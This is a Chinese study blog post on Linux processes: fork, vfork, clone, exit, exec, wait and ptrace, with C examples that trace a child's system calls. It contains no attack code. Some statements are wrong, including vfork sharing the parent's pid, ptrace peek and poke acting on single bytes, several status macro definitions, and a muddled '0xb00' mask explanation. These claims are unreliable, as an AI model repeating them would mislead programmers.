0%

紫禁城之殇

参考:linux进程相关函数(获取、销毁、切换···)_储处理器执行的代码-CSDN博客

参考:fork()、vfork()、clone()的区别_linux clone fork-CSDN博客

0x1 从C函数走进子进程

1.1 进程有关概念

1.1.1 进程

程序是指存放指令的文件,存放在磁盘上,它是固定不变的,保存着指令的有序集合

进程是动起来的概念,可以理解成动起来的程序。(回头看看程序员自我修养是如何解释的)

进程时程序的执行过程,它一般分为三种状态:

执行态:该进程正在运行,即正在使用CPU

就绪态:该进程已经具备执行的一切条件,正在等待分配CPU的处理

等待态:进程不能使用CPU,若等待事件发生(等待的资源分配到自身),将其唤醒。

进程的标识号是pid,它来区分不同的进程。

进程0调度进程时,常被称为交换进程,他不执行任何程序,是内核的一部分,因此被称为系统进程。进程除了自身ID外,还有父进程ID,每个进程都有一个父进程,操作系统不会无缘无故产生一个新进程。所有进程的祖先进程都是同一个进程叫做init进程,进程号是1。init进程是内核自举后的第一个启动进程

iniit进程负责引导系统、启动守护(后台)进程并且运行必要的程序。它不是系统进程但是它以系统的超级用户特权运行。

父进程负责子进程空间的清理

并发:宏观上来看,只是因为执行速度快,看起来所有事情同时发生

并行:同时执行,微观上真的同时执行,多个CPU同时执行不同的进程,多个进程真的在同时执行。

同步:相同的步伐,进程间相互联系,或者共同完成某件事,需要相互协调

异步:不同的步伐,进程间毫无关联。

从参考文献中读到这么一句话,发现对进程的描述很恰当。

Linux中,一个人在炒菜,快递打电话来了,让这个人去取快递,他可以叫他的儿子去取快递,自己继续炒菜。从CPU角度来想,由于CPU执行速度较快,看起来任务同时进行(并发进行),这样所有的事情都不耽误,这就是进程的意义。

1.1.2 进程和线程的区别?

​ 进程的四要素:

​ (1)有一段程序供其执行(不一定是一个进程所专有的),就像一场戏必须有自己的剧本。
​ (2)有自己的专用系统堆栈空间(私有财产)
​ (3)有进程控制块(task_struct)(“有身份证,PID”)
​ (4)有独立的存储空间。
​ 缺少第四条的称为线程,如果完全没有用户空间称为内核线程,共享用户空间的称为用户线

1.2 从C语言函数出发


1.2.1 获取进程ID

1
2
3
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);

功能:获取自己的进程ID
参数:
返回值:本进程的ID


1
2
3
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);

功能:获取自己的父进程ID
参数:
返回值:本进程的父进程的ID


1.2.2 创建进程

创建进程主要有三个函数fork vfork clone它们其实都是linux的系统调用,这三个函数分别调用了sys_fork、sys_vfork、sys_clone最终都调用了do_fork函数,差别在于参数的传递和一些基本的准备工作不同。

1.2.2.1 fork

生成一个进程,实际上是把父进程的资源task_struct,除了进程号。

fork只调用一次,但是会在父进程和子进程中分别返回两次,父进程中返回所创建子进程的pid子进程中返回0。在fork()结束后,父进程和子进程的执行顺序不确定(基本是同步运行),由高度程序决定谁先执行。不过可以在父进程中调用wait()等待子进程结束。

说到fork,得提到写时拷贝技术

img

我们都知道fork创建进程的时候,并没有真正的copy内存,因为对于fork来说,有一个exec系列的系统调用,它会勾引子进程另起炉灶。为了不让copy内存造成效率降低,linux引入了“写时复制技术”

换而言之,fork()之后exec之前两个进程用的是相同的物理空间(代码段、数据段、堆栈,仅仅是虚拟空间不同)。当父进程中有更改相应段的行为发生,如果不是因为exec产生,内核会给子进程的相应位置分配物理空间,但是代码段继续共享父进程的物理空间。如果是因为exec,由于两者执行的代码不同,子进程代码段也会分配单独的物理空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char *argv[])
{
int count = 0;

if (fork()) { /* parent */
wait(0);
printf("In parent\n");
} else { /* child */
printf("In child\n");
}
return 0;
}

1.2.2.2 vfork

我们从vfork()的产生原因来理解它会比较容易,因为fork()操作会将当前进程的任何资源几乎完全复制一份,其中包括了地址空间。一般fork()调用后都会跟着调用execve(),用新的内存镜像取代原来的内存镜像,当地址空间很大的时候,复制的操作会很费时,而且又是无用功,所以就产生了vfork。

vfork()产生的子进程与父进程共享地址空间(代码段,数据段,堆栈),就没有了复制产生的开销。而且pid也是相同的。
vfork()保证父进程在子进程调用execve()exit()之前不会执行。

创建出来的进程不是真正意义上的进程,而是一个线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
int count = 0;

printf("count before fork = %d\n", count);
if (vfork()) {
printf("In parent: count = %d\n", count);
} else {
printf("In child: count = %d\n", ++count);
}
exit(0);
}

注意程序不能使用return语句退出(至少子进程不能使用),原因我猜测是
return语句会使得main函数的栈被清空,因为是使用的同一个内存空间,子进程
把栈清空后,父进程的栈就被破坏了,于是就出错了。使用exit()可以避免这个问题。

1.2.2.3 clone()

clone()可以更细粒度与子进程共享资源,因而参数也更复杂,函数原型如下:

1
2
3
int clone(int (*fn)(void *), void *child_stack,
int flags, void *arg, ...
/* pid_t *ptid, struct user_desc *tls, pid_t *ctid */ );

根据man 2 clone上的描述,这个原型并不是最底层的调用,而是封装过的。

这里第一个参数fn是函数指针,我们知道进程的4要素,这个就是指向程序的指针,就是“剧本”

child_stack明显是为子进程分配系统堆栈空间(在linux下系统堆栈空间是2页面,就是8K的内存,其中在这块内存中,低地址上放入了值,这个值就是进程控制块task_struct的值),flags就是标志用来描述你需要从父进程继承那些资源, arg就是传给子进程的参数)。下面是flags可以取的值

标志 含义
CLONE_PARENT 创建的子进程的父进程是调用者的父进程,新进程与创建它的进程成了“兄弟”而不是“父子”
CLONE_FS 子进程与父进程共享相同的文件系统,包括root、当前目录、umask
CLONE_FILES 子进程与父进程共享相同的文件描述符(file descriptor)表
CLONE_NEWNS 在新的namespace启动子进程,namespace描述了进程的文件hierarchy
CLONE_SIGHAND 子进程与父进程共享相同的信号处理(signal handler)表
CLONE_PTRACE 若父进程被trace,子进程也被trace
CLONE_VFORK 父进程被挂起,直至子进程释放虚拟内存资源
CLONE_VM 子进程与父进程运行于相同的内存空间
CLONE_PID 子进程在创建时PID与父进程一致
CLONE_THREAD Linux 2.4中增加以支持POSIX线程标准,子进程与父进程共享相同的线程群

下面的例子是创建一个线程(子进程共享了父进程虚存空间,没有自己独立的虚存空间不能称其为进程)。父进程被挂起当子线程释放虚存资源后再继续执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <malloc.h>

#include <sched.h>
#include <signal.h>

#include <sys/types.h>
#include <unistd.h>


#define FIBER_STACK 8192
int a;
void * stack;

int do_something()
{
printf("This is son, the pid is:%d, the a is: %d\n", getpid(), ++a);
free(stack); //这里我也不清楚,如果这里不释放,不知道子线程死亡后,该内存是否会释放,知情者可以告诉下,谢谢
exit(1);
}

int main()
{
void * stack;
a = 1;
stack = malloc(FIBER_STACK);//为子进程申请系统堆栈

if(!stack)
{
printf("The stack failed\n");
exit(0);
}
printf("creating son thread!!!\n");

clone(&do_something, (char *)stack + FIBER_STACK, CLONE_VM|CLONE_VFORK, 0);//创建子线程

printf("This is father, my pid is: %d, the a is: %d\n", getpid(), a);
exit(1);
}

img


1.3 出发的转折点

上面是我们用C语言最基本的进程创建函数。然而进程还有很多关联的东西,比如进程资源的销毁和释放,system和exec和进程的关系,比如每个进程背后的/proc/pid/文件,比如ptrace和wait对进程的追踪和阻塞。为了我们更好的走进子进程,我们一步一步来看这些问题。


1.4 销毁进程

进程的常见的终止方式有5种:

1.4.1 主动

  • main函数的自然返回,注意:return不是结束,只是函数结束,当它刚好结束的是main函数,此时导致进程结束。造成return结束进程的错觉。
  • 调用exit函数 ,标准函数
  • 调用_exit函数 ,系统调用函数
  • 调用abort函数,产生SIGABRT信号

1.4.2 被动

  • 接收到某个信号,如ctrl+cSIGINTctrl+\ SIGOUT
  • 通过kill 向进程发信号
    前四四种正常的终止,后两种非正常的终止,但无论哪种方式,进程终止都会执行相同的关闭打来的文件,释放占用的内存资源,后两种终止会导致程序有些代码不能正常执行,比如对象的析构、atexit函数的执行。
  • exit__exit函数最大的区别在于exit函数退出之前会检查文件的打开情况,把文件缓冲区的内容写回文件,而__exit直接退出,什么意思?比如打开文件向文件写入内容,如果在文件没有关闭,也没有调用同步到磁盘的函数,文件并没有同步到磁盘,只存在缓冲区内,这时调用exit,那么进程结束时,缓冲区的内容可以同步到文件中,内容已经存在在文件之中了,调用__exit进程直接结束,文件不会有写入的内容。

1.4.3 问题

从上面可以看出,我们程序常见的退出出口基本上都会造成进程的销毁,这是必然的设计。


1.5 system和exec


1.5.1 system启动一个新进程

1
2
#include <stdlib.h>
int system(const char *command);

功能:打开命令或者程序
参数:带路径的程序启动文件,或者在启动变量里声明的程序直接写程序名
返回值:-1失败
打开的程序是另一个进程,也可以成为此程序的子进程,因此子进程不一定和父进程视同一个程序,在成功打开所要执行的文件之后,父进程才能继续执行。


1.5.2 进程替换,exec函数族

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>
extern char **environ;
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg,
..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[],
char *const envp[]);

这四个函数第一个参数都是可执行程序或者脚本的程序名,execlexecv需要带有完整的路径,第二参数为任意字符,起到占位作用,第三个或者后面的字符为调用者的参数,参数列表最后以NULL结尾,而execlpexecvp只需要带有可执行程序的名称即可,系统自动去环境变量去寻找同名文件,execlexeclp需要NULL结尾.

函数后缀说明:
l v:参数呈现形式
l:list 参数一个个的列出来
vvector 参数用数组存储起来
p:目标程序,可以省略路径
e:环境变量,不考虑

1.6 wait与ptrace

1.6.1 wait

前面我们知道wait可以等待子进程结束后再执行父进程,其主要起到一个进程同步的作用。

1
2
3
4
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
pid_t waitpid(pid_t pid, int *status, int options);

1.6.1.1 pid_t wait(int *status);

函数返回值为结束子进程的进程号,如果当前进程中没有子进程则返回-1。

参数为子进程结束状态指针,该指针是一个int类型的指针,如果单纯地想等待子进程结束而不关心进程结束状态,参数写入NULL;若想获得子进程结束状态,将参数地址写入即可,例如int statue存储子进程的解释状态,函数调用wait(&statue)即可。

1.6.1.2 pid_t waitpid(pid_t pid, int *status, int options);

第一个参数pid:从参数的名字pid和类型pid_t中就可以看出,这里需要的是一个进程ID。但当pid取不同的值时,在这里有不同的意义。

  • pid>0时,只等待进程ID等于pid的子进程,不管其它已经有多少子进程运行结束退出了,只要指定的子进程还没有结束,waitpid就会一直等下去。
  • pid==-1时,等待任何一个子进程退出,没有任何限制,此时waitpidwait的作用一模一样。
  • pid==0时,等待同一个进程组中的任何子进程,如果子进程已经加入了别的进程组,waitpid不会对它做任何理睬。
  • pid<-1时,等待一个指定进程组中的任何子进程,这个进程组的ID等于pid的绝对值。
    第二个参数与wait相同,存储制定子进程终止的状态信息。为整形指针类型。

第二个参数options:options提供了一些额外的选项来控制waitpid,目前在Liunx中只支持下面三个选项,这是三个常数,可以用”|”运算符把它们连接起来使用。

  • WNOHANG:如果没有子项退出,则立即返回。
  • WUNTRACED:如果 Child 已停止(但未通过 ptrace(2) 跟踪),则返回 Child。 即使未指定此选项,也会提供已停止的跟踪子项的状态。
  • WCONTINUED (since Linux 2.6.10):如果已通过 SIGCONT 的交付恢复了停止的子项,则也会返回

返回值和错误:

waitpid的返回值比wait稍微复杂一些,一共有3种情况:

  • 当正常返回的时候,waitpid返回收集到的子进程的进程ID
  • 如果设置了选项WNOHANG,而调用中waitpid发现没有已退出的子进程可收集,则返回0
  • 如果调用中出错,则返回-1,这时errno会被设置成相应的值以指示错误所在;当pid所指示的子进程不存在,或此进程存在,但不是调用进程的子进程,waitpid就会出错返回,这时errno被设置为ECHILD

1.6.1.3 wstatus状态

接下来简单介绍下wstatus,如果它不是空的,上面提到的两个wait相关函数会在这个int指针上存储状态信息。下面的宏(macros)将整数作为参数。

  • **WIFEXITED(wstatus)**:如果子进程正常终止,即通过调用 exit(3) 或 _exit(2),或者从 main() 返回,则返回 true。

  • **WEXITSTATUS(wstatus)**:返回 Child 的退出状态。 这包括子级在调用 exit(3) 或 _exit(2) 时指定或作为 main() 中 return 语句的参数的 status 参数的最低有效 8 位。 只有在以下情况下,才应使用此宏WIFEXITED 返回 true。

  • **WIFSIGNALED(wstatus)**:如果子进程被 Signal 终止,则返回 true。

  • **WTERMSIG(wstatus)**:返回导致子进程终止的信号的编号。 仅当 WIFSIGNALED 返回 true 时,才应使用此宏。

  • **WCOREDUMP(wstatus)**:如果子对象生成了 core dump,则返回 true(参见 core(5))。 仅当 WIFSIGNALED 返回 true 时,才应使用此宏。

    • 此宏未在 POSIX.1-2001 中指定,并且在某些 UNIX 实现(例如 AIX、SunOS)上不可用。 因此,在 WCOREDUMP 中关闭其使用 #ifdef … #endif。
  • **WIFSTOPPED(wstatus)**:如果子进程因传递信号而停止,则返回 true;仅当调用是使用 WUNTRACED 完成的时,才有可能这样做或者当 child 被追踪时(参见 ptrace(2))。

  • **WSTOPSIG(wstatus)**:返回导致 Child 停止的信号的编号。 仅当 WIFSTOPPED 返回 true 时,才应使用此宏。

  • **WIFCONTINUED(wstatus):**(自 Linux 2.6.10 起)如果子进程通过交付 SIGCONT 恢复,则返回 true。

宏的对应整数

1
2
3
4
5
6
7
8
#define WIFEXITED(status)    (((status) & 0xff) == 0)
#define WEXITSTATUS(status) ((status) >> 8)
#define WIFSIGNALED(status) (((status) & 0x7f) > 0)
#define WTERMSIG(status) ((status) & 0x7f)
#define WCOREDUMP(status) (((status) & 0x80) != 0)
#define WIFSTOPPED(status) (((status) & 0xff) == 0x7f)
#define WSTOPSIG(status) ((status) >> 8)
#define WIFCONTINUED(status) ((((status) & 0xffff) == 0xffff) ? 0 : 1)

比如在 wstatus 的上下文中,掩码 0xb00 可能用于检查以下两种情况:

  1. 子进程是否因为一个信号而停止(WIFSTOPPED),这通常由 0x7f 掩码来检查,但是 0xb00 可以进一步检查是否有特定的停止信号。
  2. 子进程是否产生了核心转储(WCOREDUMP),这通常由 0x80 掩码来检查,但是 0xb00 可以检查更具体的条件。

具体来说,0xb00 掩码检查的是 wstatus 的第 8 位和第 11 位(从最低位开始计数):

  • 第 8 位(10000000):如果设置,表示子进程产生了核心转储。
  • 第 11 位(00010000):这个位的具体含义取决于具体的系统实现,但在许多系统中,它并不用于 waitwaitpid 函数。

1.6.2 ptrace

1.6.2.1 ptrace函数解析

参考:Linux源码分析之Ptrace_特殊进程不可以被跟踪-CSDN博客

参考:威力巨大的系统调用——ptrace - 知乎 (zhihu.com)

ptrace提供了父进程观察和控制另一个进程执行的机制,同时提供查询和修改另一进程的核心image(核心镜像?如何理解)它主要用于断点调试。当进程被中止,会通知父进程,进程的内存空间可以被读写,父进程可以选择子进程继续执行还是中止。

函数原型

1
2
#include <sys/ptrace.h> 
int ptrace(int request, int pid, int addr, int data);
  • request:要执行的操作类型;
  • pid:被追踪的目标进程ID;
  • addr:被监控的目标内存地址;
  • data:保存读取出或者要写入的数据。

Request参数决定了系统调用的功能

请求 作用
PTRACE_TRACEME 本进程被其父进程所跟踪。其父进程应该希望跟踪子进程。
PTRACE_PEEKTEXT, PTRACE_PEEKDATA 从内存地址中读取一个字节,内存地址由addr给出。
PTRACE_PEEKUSR 从USER区域中读取一个字节,偏移量为addr。
PTRACE_POKETEXT, PTRACE_POKEDATA 往内存地址中写入一个字节。内存地址由addr给出。
PTRACE_POKEUSR 往USER区域中写入一个字节。偏移量为addr。
PTRACE_SYSCALL, PTRACE_CONT 重新运行。
PTRACE_KILL 杀掉子进程,使它退出。
PTRACE_SINGLESTEP 设置单步执行标志
PTRACE_ATTACH 跟踪指定pid 进程。
PTRACE_DETACH 结束跟踪

还有一个inter386特有

img

对init进程不可使用此函数

返回值
成功返回0。错误返回-1。errno被设置。

错误
EPERM
特殊进程不可以被跟踪或进程已经被跟踪。
ESRCH
指定的进程不存在
EIO
请求非法


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
/* Type of the REQUEST argument to `ptrace.'  */
enum __ptrace_request
{
/* 跟踪发出此请求的进程,此过程接收的所有信号都可以被其父级拦截,其父级可以使用其他"ptrace"请求 */
PTRACE_TRACEME = 0,


/* 返回进程text空间中,地址ADDR处的word(字) */
PTRACE_PEEKTEXT = 1,


/* 返回进程data空间中,地址ADDR处的word(字) */
PTRACE_PEEKDATA = 2,


/* 返回进程用户区域中,偏移为ADDR的word(字) */
PTRACE_PEEKUSER = 3,


/* 将一字大小的DATA写入进程的text空间,地址为ADDR */
PTRACE_POKETEXT = 4,


/* 将一字大小的DATA写入进程的data空间,地址为ADDR */
PTRACE_POKEDATA = 5,


/* 将一字大小的DATA写入进程的用户区域,偏移量为ADDR */
PTRACE_POKEUSER = 6,


/* 继续该process(进程) */
PTRACE_CONT = 7,


/* 杀死该process(进程) */
PTRACE_KILL = 8,


/* 单步执行该process(进程) */
PTRACE_SINGLESTEP = 9,


/* 附加到正在运行的进程 */
PTRACE_ATTACH = 16,


/* 从附加到'PTRACE_ATTACH'的进程中分离 */
PTRACE_DETACH = 17,


/* 继续并在进入系统调用或从系统调用返回时停止 */
PTRACE_SYSCALL = 24,


/* 设置跟踪筛选器选项 */
PTRACE_SETOPTIONS = 0x4200,


/* 获取最后一条ptrace消息 */
PTRACE_GETEVENTMSG = 0x4201,


/* 获取流程的siginfo(签名信息) */
PTRACE_GETSIGINFO = 0x4202,


/* 为进程设置新的siginfo(签名信息) */
PTRACE_SETSIGINFO = 0x4203,


/* 获取寄存器内容 */
PTRACE_GETREGSET = 0x4204,


/* 设置寄存器内容 */
PTRACE_SETREGSET = 0x4205,


/* 类似于'PTRACE_ATTACH',但不要强迫跟踪trap(陷阱),也不会影响signal(信号)或group stop state(组停止状态) */
PTRACE_SEIZE = 0x4206,


/* 陷阱捕获了tracee */
PTRACE_INTERRUPT = 0x4207,


/* 等待下一个group event(事件组) */
PTRACE_LISTEN = 0x4208,


/* 检索siginfo_t结构,而无需从队列中删除信号 */
PTRACE_PEEKSIGINFO = 0x4209,


/* 获取被阻止信号的掩码 */
PTRACE_GETSIGMASK = 0x420a,


/* 更改被阻止信号的掩码 */
PTRACE_SETSIGMASK = 0x420b,


/* 获取seccomp BPF筛选器 */
PTRACE_SECCOMP_GET_FILTER = 0x420c,


/* 获取seccomp BPF筛选器元数据 */
PTRACE_SECCOMP_GET_METADATA = 0x420d,


/* 获取有关系统调用的信息 */
PTRACE_GET_SYSCALL_INFO = 0x420e

};

1.6.2.2 功能详细描述

1.6.2.2.1 原来

1)PTRACE_TRACEME

形式:ptrace(PTRACE_TRACEME,0 ,0 ,0)
描述:本进程被其父进程所跟踪。其父进程应该希望跟踪子进程。

2)PTRACE_PEEKTEXT, PTRACE_PEEKDATA

形式:ptrace(PTRACE_PEEKTEXT, pid, addr, data)
ptrace(PTRACE_PEEKDATA, pid, addr, data)
描述:从内存地址中读取一个字节,pid表示被跟踪的子进程,内存地址由addr给出,data为用户变量地址用于返回读到的数据。在Linux(i386)中用户代码段与用户数据段重合所以读取代码段和数据段数据处理是一样的。

3)PTRACE_POKETEXT, PTRACE_POKEDATA

形式:ptrace(PTRACE_POKETEXT, pid, addr, data)
ptrace(PTRACE_POKEDATA, pid, addr, data)
描述:往内存地址中写入一个字节。pid表示被跟踪的子进程,内存地址由addr给出,data为所要写入的数据。

4)PTRACE_PEEKUSR

形式:ptrace(PTRACE_PEEKUSR, pid, addr, data)
描述:从USER区域中读取一个字节,pid表示被跟踪的子进程,USER区域地址由addr给出,data为用户变量地址用于返回读到的数据。USER结构为core文件的前面一部分,它描述了进程中止时的一些状态,如:寄存器值,代码、数据段大小,代码、数据段开始地址等。在Linux(i386)中通过PTRACE_PEEKUSER和PTRACE_POKEUSR可以访问USER结构的数据有寄存器和调试寄存器。

5)PTRACE_POKEUSR

形式:ptrace(PTRACE_POKEUSR, pid, addr, data)
描述:往USER区域中写入一个字节,pid表示被跟踪的子进程,USER区域地址由addr给出,data为需写入的数据。

6)PTRACE_CONT

形式:ptrace(PTRACE_CONT, pid, 0, signal)
描述:继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。

7)PTRACE_SYSCALL

形式:ptrace(PTRACE_SYS, pid, 0, signal)
描述:继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。与PTRACE_CONT不同的是进行系统调用跟踪。在被跟踪进程继续运行直到调用系统调用开始或结束时,被跟踪进程被中止,并通知父进程。

8)PTRACE_KILL

形式:ptrace(PTRACE_KILL,pid)
描述:杀掉子进程,使它退出。pid表示被跟踪的子进程。

9)PTRACE_SINGLESTEP

形式:ptrace(PTRACE_KILL, pid, 0, signle)
描述:设置单步执行标志,单步执行一条指令。pid表示被跟踪的子进程。signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。当被跟踪进程单步执行完一个指令后,被跟踪进程被中止,并通知父进程。

10)PTRACE_ATTACH

形式:ptrace(PTRACE_ATTACH,pid)
描述:跟踪指定pid 进程。pid表示被跟踪进程。被跟踪进程将成为当前进程的子进程,并进入中止状态。


1.6.2.2.2 I386

12)PTRACE_GETREGS

形式:ptrace(PTRACE_GETREGS, pid, 0, data)
描述:读取寄存器值,pid表示被跟踪的子进程,data为用户变量地址用于返回读到的数据。此功能将读取所有17个基本寄存器的值。

13)PTRACE_SETREGS

形式:ptrace(PTRACE_SETREGS, pid, 0, data)
描述:设置寄存器值,pid表示被跟踪的子进程,data为用户数据地址。此功能将设置所有17个基本寄存器的值。

14)PTRACE_GETFPREGS

形式:ptrace(PTRACE_GETFPREGS, pid, 0, data)
描述:读取浮点寄存器值,pid表示被跟踪的子进程,data为用户变量地址用于返回读到的数据。此功能将读取所有浮点协处理器387的所有寄存器的值。

15)PTRACE_SETFPREGS

形式:ptrace(PTRACE_SETREGS, pid, 0, data)
描述:设置浮点寄存器值,pid表示被跟踪的子进程,data为用户数据地址。此功能将设置所有浮点协处理器387的所有寄存器的值。

1.6.3 进程状态值中止状态

在Linux系统中,进程常见的状态有下面这些

S:Interruptible Sleeping,即可中断睡眠;

D:Uninterruptible Sleeping,即不可中断睡眠;

R:Running or Runnable,即运行状态;

Z:Zombie,即僵尸状态

T:Stopped or Traced,即中止状态(注意是中止不是终止)

这里,我们关注点放在T:Stopped or Traced这个类型上。因为Traced类型是由ptrace系统调用提供的一个进程状态。实际上,在某些Linux发行版中,这个类型的进程状态标识符是t而非T


1.6.3.1 Stopped状态

如何能够让一个进程进入到“中止状态”呢?

我们可以通过ctrl+z来中止当前输入程序的运行,然后可以查看进程状态

img

之后再使用fg就可以恢复进程状态

img


1.6.3.2 Traced状态——新手例子

通过ptrace系统调用可以让一个进程进入Traced状态。

  • tracee进程调用ptrace系统调用,并在request参数处传递PTRACE_TRACEME这个值,表示想要被tracer进程追踪。通过这种方式的进程想要进入Traced状态有两种方式:

    • 主动调用exec系列的系统调用;
    • tracer发送进入Traced状态的相关信号。
  • tracer进程调用ptrace系统调用,并在request参数处传递PTRACE_ATTACH这个值,并给出tracee进程的pid,从而让tracee进程进入Traced状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/reg.h>

int main(void){
pid_t child;
long orig_rax;
child=fork();
if(child==0){//表示这是子进程,子进程fork返回0
//当前进程会在每次执行系统调用之前暂停,并允许其父进程通过 ptrace 调用来检查和修改它的寄存器、内存等状态,或者继续它的执行。
puts("start move!!!");
ptrace(PTRACE_TRACEME,0,NULL,NULL);//0表示当前进程,参数规定是父进程跟踪
puts("keep moving???");
execl("/bin/ls","ls","-l","-h",NULL);//这里进程被替换了?
puts("/bin/ls ok?");
}
else{//父进程,wait函数会等待子进程执行完再执行父进程
puts("father step1");
wait(NULL);
puts("father step2");
orig_rax=ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL);
printf("Child process called a system call, id is %ld\n",orig_rax);
ptrace(PTRACE_CONT,child,NULL,NULL);
}
return 0;
}

执行结果如下所示

img

首先fork出来的进程和父进程是不分前后顺序的(前面说到顺序由高度函数决定),所以先父进程进入到else分支,子进程接着进入if分支,然后父进程执行了wait函数之后,交给子进程执行,执行到ptrace(PTRACE_TRACEME,0,NULL,NULL),但是此时子进程并没有进入traced状态,直到执行到exec类型的函数(才会发出相关信号),才会让子进程也被父函数跟踪。回到父函数,父函数调用了ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL)获取子进程RAX的值,59即是execve的系统调用号。之后调用ptrace(PTRACE_CONT,child,NULL,NULL);,让子进程继续执行,也就有了下面的/bin/ls输出的内容。


1.6.3.2.1 可能有的一些问题

问题1:父进程怎么向子进程发送信号?

问题2:execl系统调用给父进程发送SIGTRAP信号后,父进程怎么样处理这个信号?

  • 首先回答问题2:

    • wait系统调用是一个用来进行进程控制的系统调用,它可以用来阻塞父进程,当父进程接收到子进程传来信号或者子进程退出时,父进程才会继续运行。所以这里的wait系统调用很显然用来接收子进程调用execl时产生的SIGTRAP信号。
  • 然后是问题1:

    • ptrace(PTRACE_CONT, child, NULL, NULL)表达式:
    • 父进程这里通过调用ptrace系统调用并使用PTRACE_CONT作为操作类型,这个操作类型的作用官方是这样描述的:恢复处于**Traced**状态的**tracee**进程。最后一个参数表示发送给**tracee**进程的信号。

1.6.3.2.2 USER字段

其实我们RAX的宏是这样的,那这个15是什么意思呢?

1
define ORIG_RAX 15

此时就要结合user字段的结构体来看了,USER字段的部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct user_regs_struct
{
__extension__ unsigned long long int r15;
__extension__ unsigned long long int r14;
__extension__ unsigned long long int r13;
__extension__ unsigned long long int r12;
__extension__ unsigned long long int rbp;
__extension__ unsigned long long int rbx;
__extension__ unsigned long long int r11;
__extension__ unsigned long long int r10;
__extension__ unsigned long long int r9;
__extension__ unsigned long long int r8;
__extension__ unsigned long long int rax;
__extension__ unsigned long long int rcx;
__extension__ unsigned long long int rdx;
__extension__ unsigned long long int rsi;
__extension__ unsigned long long int rdi;
__extension__ unsigned long long int orig_rax;
__extension__ unsigned long long int rip;
__extension__ unsigned long long int cs;
__extension__ unsigned long long int eflags;
__extension__ unsigned long long int rsp;
__extension__ unsigned long long int ss;
__extension__ unsigned long long int fs_base;
__extension__ unsigned long long int gs_base;
__extension__ unsigned long long int ds;
__extension__ unsigned long long int es;
__extension__ unsigned long long int fs;
__extension__ unsigned long long int gs;
};

struct user
{
struct user_regs_struct regs;
// other fields
}

user结构体第一个字段就是所有寄存器的信息struct user_regs_struct regs;

这个结构体里面都是unsigned long long int类型的成员。我们再结合ptrace系统调用看看

1
orig_rax = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, NULL);

addr字段我们传的是8 * ORIG_RAX,其中8代表每个成员的大小(long long int在64位系统中所占用的大小),而ORIG_RAX(15)刚好对应在user_regs_struct字段中的orig_rax成员。

这个成员在执行完execve系统调用后,存着的就是系统调用号。


1.6.3.3 Traced状态——入门例子

在上面的版本的demo中,我们已经能够理解父子进程中使用ptrace能做到的一些事情了。我们在上面的demo跟着参考文章进行一些改进。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/reg.h>

int main(void)
{
pid_t child;
long orig_rax;
child=fork();
int status=0;
if(child==0)
{
ptrace(PTRACE_TRACEME,0,NULL,NULL);
execl("/bin/ls","ls","-l","-h",NULL);
}
else{
while(1){
wait(&status);
printf("Origen signal %d !Got signal %d\n",status,WSTOPSIG(status));
if(WIFEXITED(status)) break;

orig_rax=ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL);
printf("Program called system call: %ld\n", orig_rax);
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
}
}
return 0;
}

相关宏的设置是这样的。

1
2
#define WIFEXITED(status)    (((status) & 0xff) == 0)
#define WIFSTOPPED(status) (((status) & 0xff) == 0x7f)

这里涉及到的新东西有以下几个。

  1. wait(&status);
  2. ptrace(PTRACE_SYSCALL, child, NULL, NULL);
  3. 父进程的调用是在一个死循环里

运行结果如下所示

img


1.6.3.3.1 wait(&status)以及相关宏

上面讲wait函数的时候提到过,这时候会关心子进程返回的信号类型,也就是说会接收子进程来的信号。

接收到信号之后,WSTOPSIG宏可以获取信号对应的编号,具体编号可以用kill -l指令展现出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
qwq@qwq:~/ctf$ kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
